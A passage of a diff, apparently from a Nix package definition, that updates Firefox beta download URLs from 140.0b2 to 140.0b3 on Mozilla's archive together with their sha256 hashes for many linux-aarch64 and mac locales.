+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/kn/firefox-140.0b3.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "938558327b5c687bdebc00007467cc911084ed13d347b3dca50bd4064a1ed0a3";
+      sha256 = "713a1bf13d20796677cf3b4712da2e8f45fe01ae8d2428a48aede0ddf0d57cf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ko/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ko/firefox-140.0b3.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "d610e561841fa970c6be608a25f030e7bebc0812b674c65e1f32e0f3a722f494";
+      sha256 = "e7642bae7805a364e3189c67143c9935188936925fbf5b9a0210141ed64a7587";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/lij/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/lij/firefox-140.0b3.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "3f8a986918ca0504c5f7e16996d62e52a59ae812aa10b521c93f71e5495a26f1";
+      sha256 = "9f65891d625c585c1515a005ce35b6de04c201428c1352efd9215fa033bdcf07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/lt/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/lt/firefox-140.0b3.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "41c516c24cbdb6c3953cd378272039c8cbd92c4dfcd45e807224dee8ead1edad";
+      sha256 = "3ca4a021fe1782414512fa7610d0eb5f3ace978373632c6a6f4d618c7afb7645";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/lv/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/lv/firefox-140.0b3.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "fee89b89b07fdb6de208967bdfdf0cd09ff47ef4b382b5ff6dad823e2038f3bc";
+      sha256 = "e73d4256ae749209e41861c3bd20de05c5c50035f760c2c9355320d795e1e99d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/mk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/mk/firefox-140.0b3.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "fc713d3a275cb918aac2960e5d02ed55c1e53a588cd1d7b3072ce4ef1d322010";
+      sha256 = "508698c697ab258dfa923e5f63749569f87c070f2cdbc26ee0bc0a36b1996259";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/mr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/mr/firefox-140.0b3.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "9770d1c413bb780ba5734397fc44a4a750759fafbf092baa2dff9b0ca03f3778";
+      sha256 = "99e9e06270e56262f4fc4a95e6dbfb15ba918e57a964b4fadeec2ad7af4829be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ms/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ms/firefox-140.0b3.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "c0b6fcb678b449c2a7341fee0602591178dc3f783ad914f5e2e1fde3b3889dd3";
+      sha256 = "c9c3935bb6814e5dbbbd980a4487d1dcffeba62f14e3e907f38e07dfaae4822a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/my/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/my/firefox-140.0b3.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "af5a3b599a09708b6981cb3079e3b1512ab3f271c09f506c953b39936e6e0952";
+      sha256 = "ca0ec2bdd803a7d0f61a135ea61d706394877508f32c645acb014f52bf4c4a33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/nb-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/nb-NO/firefox-140.0b3.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "0c6dd74781697f69a8cfd7b657e8971d2272f0c2c7c37efb5476a3c6d226e8d4";
+      sha256 = "c74cfbcfcb0a8b50c18f0d0da54d4855d1326aa72718dfa73614ffc276fe07da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ne-NP/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ne-NP/firefox-140.0b3.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "22c46f8ecc726cb41d302149b6ee4816d8e5f4afc3322ce6a38621f0edfcfc55";
+      sha256 = "f6e88a6e38af551c2ec786e2941c9a23451d236bfc9fc7411fd61d58ef02a93d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/nl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/nl/firefox-140.0b3.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "c19785a813e1d190ff83eae04d02c6647e5423d9e3dbfa5bbdbc124aa20c0b01";
+      sha256 = "2a3dfe87d3b94479282f1bd8b700ff91df1d414ed4d9fc3733533f1db7ae2d5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/nn-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/nn-NO/firefox-140.0b3.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "1f5e90790da565b4e661726b11fa2d07a006c25d6ba41557e20cd8fc53972e7f";
+      sha256 = "fbe5608bfeea90d66f0d4f4c9dc8fe012cee2e0a664dc1eda948660e8e71a7fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/oc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/oc/firefox-140.0b3.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "8280752b38cf4e19ea5400ffe96c370888df59999be3ba73a6ff358df55eb973";
+      sha256 = "36e7cfea755d82e8a210841c94c0a95bfee4a7a69cb9464726b08de103f86a01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pa-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pa-IN/firefox-140.0b3.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "8496cd59b2f13317622e23e3840a086f70217566bade2b749288d884f6d08326";
+      sha256 = "8c5885c4df9b41f70336217ebdc28d4e640dd99731def0546dd0e34879fd1f65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pl/firefox-140.0b3.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "466931bbf9058183abe611c927a2bf147e254c84f159a9c1c528bae40d8b62e1";
+      sha256 = "24740a98cac566ddbaeac20d6e16d6fa715c63e703cb9b39be40b8cf9a9b18c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pt-BR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pt-BR/firefox-140.0b3.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "3c9cdc685156255ad8cdc5e557a3c58de63c3d3c1293c92ea816b2abcca69863";
+      sha256 = "cf51d2981a09199f6091cae1242c73560b1aceeaf04207175fc64e546ccc3396";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/pt-PT/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/pt-PT/firefox-140.0b3.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "b89c7c4d38f667b70ea74e66cb052525e692829a001b0415387f806021ceaf54";
+      sha256 = "2b3cb182d876a304b386f1c091c96be21416b93dcae669a9cc93f19d65741585";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/rm/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/rm/firefox-140.0b3.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "47595af5bf7ad9e8ccd76abe627037bad388bb733b625cd9200414fbe385bad1";
+      sha256 = "914f3b9c41e9cf814ba31a671809f4d2daec6c77ea80e70e808f0ad7beee88d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ro/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ro/firefox-140.0b3.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "48cc3b4168318447044806f63dd4ab2d84aff91ed3315846df63ad9dfdf7e0a5";
+      sha256 = "da7893ed953bf77fd859ffaa542a7cd4ad52357fa5797d0b3c2f31d0395b9720";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ru/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ru/firefox-140.0b3.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "2413517aa76e06fcfb7122c949ba8acca175201ae338b8425eb28a5ffc2ad253";
+      sha256 = "bcfedd95d87f9e1bcbde13380f811a59ce5330f0b47668920f0d7319b3c8171f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sat/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sat/firefox-140.0b3.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "802f635513658ff4c9f146b7988763bf363e9676c7c3c8edaad7d15e99baf22f";
+      sha256 = "d36f47b320f19627ae570e7e004d87226687c469d9de70508c721d0e8d0d132c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sc/firefox-140.0b3.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "4b88d2609d1fd79ca3ec2c0e5f6f8313953a79ff321df92a66aadc0150001635";
+      sha256 = "34440b5887d66dfba85fa9fe431d2b30b963125d211518e2dc001b1749711f1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sco/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sco/firefox-140.0b3.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "b89f86a38a1595d8b4052b74e1f9beb741c859f4015c7dbf9b894a08eca6fdc1";
+      sha256 = "b3c82d814a526e801d2e4cab78b273e69238808bd1a11cb6edb12f730bc1d435";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/si/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/si/firefox-140.0b3.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "cf5854ec14f712d1a12502edd0026288078d81273ee260244c8d09bc45b1f704";
+      sha256 = "32517ad2aa826fd61b2b8450f5da35ebc38b189465d3bf6bbc36797d39e2edb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sk/firefox-140.0b3.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "54f6863f9dd7ca0b48ddd5b1b46b4b3b929fd01349bc5e2933f314388972757a";
+      sha256 = "c90574e5cd3d2fb46cc800d6ab278e5377c921501ed36cf24d509387a1f5cf67";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/skr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/skr/firefox-140.0b3.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "a051e36dbcec29dde148453fd95881c7073cd8ede0ef92e3c1e2263fcb5e1c94";
+      sha256 = "cab10bad18edfad2e656545add6001aff47cc80c551c99dd4b3d4da639854d27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sl/firefox-140.0b3.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "e18c4b176463416e35438b155748b69714a965f54e87e8cc578c483a2454d30e";
+      sha256 = "a6cec788ebd392dbe0702b21fdb8ef0e35ca6ba2f0d8a9131e7f12fc10741154";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/son/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/son/firefox-140.0b3.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "46461fa15f488234915e4a6f39fc0e241c1256c6ade93d584e686552fae53d49";
+      sha256 = "e52956217c7c3ee45e7f4233beb469cd26fd379785d25c799f0c498664236862";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sq/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sq/firefox-140.0b3.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "b6bb2006bff76cd6fa875e18e0717a357ddfbd09a419126f41ac1f614bf56adc";
+      sha256 = "e06b5bfa27235106a82513ac24070c2a08841751b6a2121d6e24cba96a2079a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sr/firefox-140.0b3.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "f24fb9fdd5ec517efd56a5c539916a756c6ecb1686e0ec1b1437bc30b78b9168";
+      sha256 = "29202d10e74d780a567bf5a6c68d49824723e910c755a4c5687bdd5b03dce536";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/sv-SE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/sv-SE/firefox-140.0b3.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "5d25e7d100840d8259a7c9043e14d2e50daef0fe14ef766aec19ca6fe30e8db5";
+      sha256 = "37e53d6d434776d3d99356a408d4fb4887c080476d1f6c30e1e8fb744a61d521";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/szl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/szl/firefox-140.0b3.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "0ebdd8c0dc4f1d1f6567a9319688c7b71aff30a6999d4d57bb6ca3e50fb66031";
+      sha256 = "66a989f4abed1ce9cbedb76a4d9d9e5d4f5f8a13311da63576531fb99678553a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ta/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ta/firefox-140.0b3.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "e89ad50eb57568f223fc96751b6b426741826a41f1895fde4e0b1d3e3e48a0ef";
+      sha256 = "945ed46a39471bc841582e54a7d1d0a9c9aa142071d7285973768f29fe089432";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/te/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/te/firefox-140.0b3.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "e2e94525844616c4f9f3c51ae82a7c6b1cb4ca39272f76fc77c0c21bd1ef2278";
+      sha256 = "ccb22037cb8be01a0814daf27c3a53e49cafcd148f686dae99df59a93a0cf00a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/tg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/tg/firefox-140.0b3.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "bf8d5f5ea4c8ecc6e6764560966affcc969acacb0a6015153b2c46688b165574";
+      sha256 = "256cef45a12bb6635a74553c4e0666837ca801fbc0b2c3472cd3d322d4dd71d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/th/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/th/firefox-140.0b3.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "23046863b1c3405f5ecd184a0ba82207f46c4489e1672e43110c47f5d6a522bc";
+      sha256 = "3c07a430511b639288beb38a5396c9bf47e0035af9d9809105d412c1a1348fe7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/tl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/tl/firefox-140.0b3.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "0955e3bbc514eccf2774d3e70ec94d890be12b50c555787937ab38b2b30e1eb2";
+      sha256 = "8c13b2df39361cb03719249be3a1ee25ce2b76fb24e427a40577efa49165b492";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/tr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/tr/firefox-140.0b3.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "a99c19d94963709c38ab298199263643f9e5f55459648d4ce9a98ec46f087db9";
+      sha256 = "0481e7ab0f1a35659b669aa97a6c6fcd976b6d7654aa2e7c4ab19f1f12e45b71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/trs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/trs/firefox-140.0b3.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "e4f033ccdf9ff353d4de0a5fd5aaf239f95c7340a90873a35ca51ad1730f6e5c";
+      sha256 = "2f42057e425350ab0c570638de750efa9a0d72cbe2f54270bcccf84832673596";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/uk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/uk/firefox-140.0b3.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "d16f97ed40b919d179a530d344a16520cf957141d3cbb68987ccffcb7a69fa62";
+      sha256 = "b1905f0d4cf2005cfb2043fa93201ccb5a5cdb6735d0e0ad7abf3a33d5d1383f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ur/firefox-140.0b3.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "0eee3a71fdbedcdadf3ffe9025c3436a0e551e7596a0b2f386175d196d3dc73a";
+      sha256 = "d2a04cd00dcc36383febec0aa54e5dfb829b0957c46cb73a98b75fa9426c5825";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/uz/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/uz/firefox-140.0b3.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "b7e3707e6c76bdf87c83ca237895c651b9137b83814e8975569512c2c5c9cb10";
+      sha256 = "c8574ade0135845ff83bb0e4cda0889018e504182c75c255dbd58219d1b2a35a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/vi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/vi/firefox-140.0b3.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "2ddbdf7c755241c1400656f65a181e6c117b08743d52127943882f3f0172c405";
+      sha256 = "707d5664f07614223f01de9d5bdf4b9e9da56094b8f7b86c0db95fb2b3165574";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/xh/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/xh/firefox-140.0b3.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "b4fadd9165a04b491c81273273e894a81667de20e06479d166cf36942edd6ccc";
+      sha256 = "2412b00ddda9df5fbfd19b61a1d38eb859287ae0fe7702bd78f508fcaa6788dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/zh-CN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/zh-CN/firefox-140.0b3.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "0e6b7ff8960f0cbbc1b34a3a44bb7d8bef6a832d40f6d9bd85e8d8a54f03b9f6";
+      sha256 = "1404f86ca8c153daa32aaa64f2762e530f54da743dbd088a4ac269710b735bd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/zh-TW/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/zh-TW/firefox-140.0b3.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "fbc5b78a7b6e022d8e6784c741d29d0adb6bad2afed4c5b3ff878b26f6dcdd00";
+      sha256 = "43b9ffa8ba86eb6087dd7c4e7a876caf8817958691591adcf70e2d55c47ff927";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ach/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ach/Firefox%20140.0b3.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "1c2d490bbe1ec81a70cc42fd9474f980771b64f8c8142d73001d18a5e74a2f45";
+      sha256 = "f8f307c3ae6b6ec25ff249cd9a244c5f37c724f93d4c69fd0f1a2df9e5ac370b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/af/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/af/Firefox%20140.0b3.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "d841a2fb6679761f95697ed1252c765220ca226774881153ab709f8da13339cf";
+      sha256 = "81fb685411cac7060c66d52089c36e35385d3b29b250847a3c120096c0c26517";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/an/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/an/Firefox%20140.0b3.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "3ebec1ccb2d8a5050ad2920c53016c02f50dbaeb4249fbc65f72aa50463799ee";
+      sha256 = "e4e627d9d160d2edae3b40f30aff3e2e8001bf92e3cda600c4a7990c7329edea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ar/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ar/Firefox%20140.0b3.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "2d40019da859a502af6d3e48112509cdc4fca031901c299dd7f0734bb6ca5de0";
+      sha256 = "12c23cfbe39e045769232288bfde570ca4736003e1fb79d54d254859a5414398";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ast/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ast/Firefox%20140.0b3.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "0f69deb4c3b87c4696d34852d9e7bd956b728d3802403929ec3ba733d174635f";
+      sha256 = "1b94a5428889e602826e387c2c92242aca7c9cd5f8ef6faacb77cd6748e61fa1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/az/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/az/Firefox%20140.0b3.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "de80d2c96e6106aff495e91dda2dc66c98b49082627fc9b73e6cb541418e01bf";
+      sha256 = "dffdd05848f2dd592bb449c98333817fc0b47f53823e2139bb4ce908668d7461";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/be/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/be/Firefox%20140.0b3.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "6d1561f7858485628a4d75340d7f24e6d912703594b4c9d7bca49fd5c0b9a792";
+      sha256 = "3343fcaf79d016a39fe7b53e4558b77dfddbb2c837cfa213375de1242bc55e7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/bg/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/bg/Firefox%20140.0b3.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "59e34ca3ced32f81b26e1a03aa9872c8a9a6247c7c660b146f787f29f53ee4a7";
+      sha256 = "9a561c7716e48b632f9f6893380a8d4abda5175e2d4f6e77b17a56d1b7709ab4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/bn/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/bn/Firefox%20140.0b3.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "3f14512645552b8fd4added4ac10995449e7e01dbfc5fb2dba8923d95298b54d";
+      sha256 = "788a256ef5bc70861d84b0e54fe06f8877dcfd325ab6a4e87748c6ae5ea230f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/br/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/br/Firefox%20140.0b3.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "7793a491f9fa9a417408685ca1d8dcf2b9a2bb1048f4ee95e4aaec3dfa6b2168";
+      sha256 = "fc113a5fb3d3e04f5ae6ae2c9430f024b57f7dcce688b412042df3d808f4d9e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/bs/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/bs/Firefox%20140.0b3.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "8e1e58ae603650f447244b20da467a987bc5663f7805eaa87c108aea0dfe8629";
+      sha256 = "1f4e0e5ad0644c6cdedeb4cb98bbefc5963e91e1a2b7d94875a6a7c331dabd81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ca-valencia/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ca-valencia/Firefox%20140.0b3.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "0fcc15e68a06f56e3aa8f52833652570d2e2c80386b4d468f119d9b2f5d63cc6";
+      sha256 = "659c2b8c92033241ac3d4c0ae0574ed9d451d613da73266196f8b72b7f7267e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ca/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ca/Firefox%20140.0b3.dmg";
